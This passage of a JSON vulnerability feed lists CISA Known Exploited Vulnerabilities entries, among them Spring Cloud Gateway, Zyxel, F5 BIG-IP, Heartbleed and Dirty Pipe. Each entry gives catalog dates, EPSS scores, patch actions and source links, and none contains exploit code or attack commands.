XR"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-23","dueAt":"2022-06-13","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11471,"percentile":0.95983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-20821","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-23","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-20821 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-20821&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-20821, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-22947","cveId":"CVE-2022-22947","aliases":[],"kind":"vulnerability","title":"VMware Spring Cloud Gateway Code Injection Vulnerability","summary":"Spring Cloud Gateway applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured.","detail":"CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-16","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"Spring Cloud Gateway","stacks":["VMware","Spring Cloud Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-16","dueAt":"2022-06-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98253,"percentile":0.99915,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-22947","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-22947 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-22947, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-30525","cveId":"CVE-2022-30525","aliases":[],"kind":"vulnerability","title":"Zyxel Multiple Firewalls OS Command Injection Vulnerability","summary":"A command injection vulnerability in the CGI program of some Zyxel firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.","detail":"CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-16","updatedAt":null,"regions":["Global"],"vendor":"Zyxel","product":"Multiple Firewalls","stacks":["Zyxel","Multiple Firewalls"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-16","dueAt":"2022-06-06","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99944,"percentile":0.99973,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-30525","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-30525 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-30525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-1388","cveId":"CVE-2022-1388","aliases":[],"kind":"vulnerability","title":"F5 BIG-IP Missing Authentication Vulnerability","summary":"F5 BIG-IP contains a missing authentication in critical function vulnerability which can allow for remote code execution, creation or deletion of files, or disabling services.","detail":"CISA added this entry on 2022-05-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-10","updatedAt":null,"regions":["Global"],"vendor":"F5","product":"BIG-IP","stacks":["F5 BIG-IP","F5","BIG-IP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-10","dueAt":"2022-05-31","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99954,"percentile":0.99974,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-1388","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-1388 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-1388, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0160","cveId":"CVE-2014-0160","aliases":[],"kind":"vulnerability","title":"OpenSSL Information Disclosure Vulnerability","summary":"The TLS and DTLS implementations in OpenSSL do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information.","detail":"CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-04","updatedAt":null,"regions":["Global"],"vendor":"OpenSSL","product":"OpenSSL","stacks":["OpenSSL"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-04","dueAt":"2022-05-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0160","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0160 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0160, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0322","cveId":"CVE-2014-0322","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Use-After-Free Vulnerability","summary":"Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute code.","detail":"CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-04","dueAt":"2022-05-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85122,"percentile":0.99711,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0322","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0322 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-4113","cveId":"CVE-2014-4113","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-04","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-04","dueAt":"2022-05-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.86648,"percentile":0.99738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-4113","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-4113 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-4113, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-8506","cveId":"CVE-2019-8506","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Type Confusion Vulnerability","summary":"A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution.","detail":"CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-04","dueAt":"2022-05-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16159,"percentile":0.96908,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-8506","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-8506 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-8506, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-1789","cveId":"CVE-2021-1789","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Type Confusion Vulnerability","summary":"A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution.","detail":"CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-05-04","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-05-04","dueAt":"2022-05-25","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.13975,"percentile":0.96523,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-1789","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-05-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-1789 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-1789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1003029","cveId":"CVE-2019-1003029","aliases":[],"kind":"vulnerability","title":"Jenkins Script Security Plugin Sandbox Bypass Vulnerability","summary":"Jenkins Script Security Plugin contains a protection mechanism failure, allowing an attacker to bypass the sandbox.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Jenkins","product":"Script Security Plugin","stacks":["Jenkins","Script Security Plugin"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7444,"percentile":0.99489,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1003029","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1003029 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1003029, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-40450","cveId":"CVE-2021-40450","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01582,"percentile":0.75361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-40450","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-40450 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-40450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-41357","cveId":"CVE-2021-41357","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01582,"percentile":0.7536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-41357","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-41357 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-41357, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-0847","cveId":"CVE-2022-0847","aliases":[],"kind":"vulnerability","title":"Linux Kernel Privilege Escalation Vulnerability","summary":"Linux kernel contains an improper initialization vulnerability where an unprivileged local user could escalate their privileges on the system. This vulnerability has the moniker of \"Dirty Pipe.\"","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.92795,"percentile":0.99827,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-0847","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-0847 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-0847, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21919","cveId":"CVE-2022-21919","aliases":[],"kind":"vulnerability","title":"Microsoft Windows User Profile Service Privilege Escalation Vulnerability","summary":"Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02434,"percentile":0.84148,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21919","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21919 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21919, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-26904","cveId":"CVE-2022-26904","aliases":[],"kind":"vulnerability","title":"Microsoft Windows User Profile Service Privilege Escalation Vulnerability","summary":"Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.16948,"percentile":0.97041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-26904","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-04-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-26904 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-26904, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-29464","cveId":"CVE-2022-29464","aliases":[],"kind":"vulnerability","title":"WSO2 Multiple Products Unrestrictive Upload of File Vulnerability","summary":"Multiple WSO2 products allow for unrestricted file upload, resulting in remote code execution.","detail":"CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-04-25","updatedAt":null,"regions":["Global"],"vendor":"WSO2","product":"Multiple Products","stacks":["WSO2","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-04-25","dueAt":"2022-05-16","action":"Apply updates per vendor 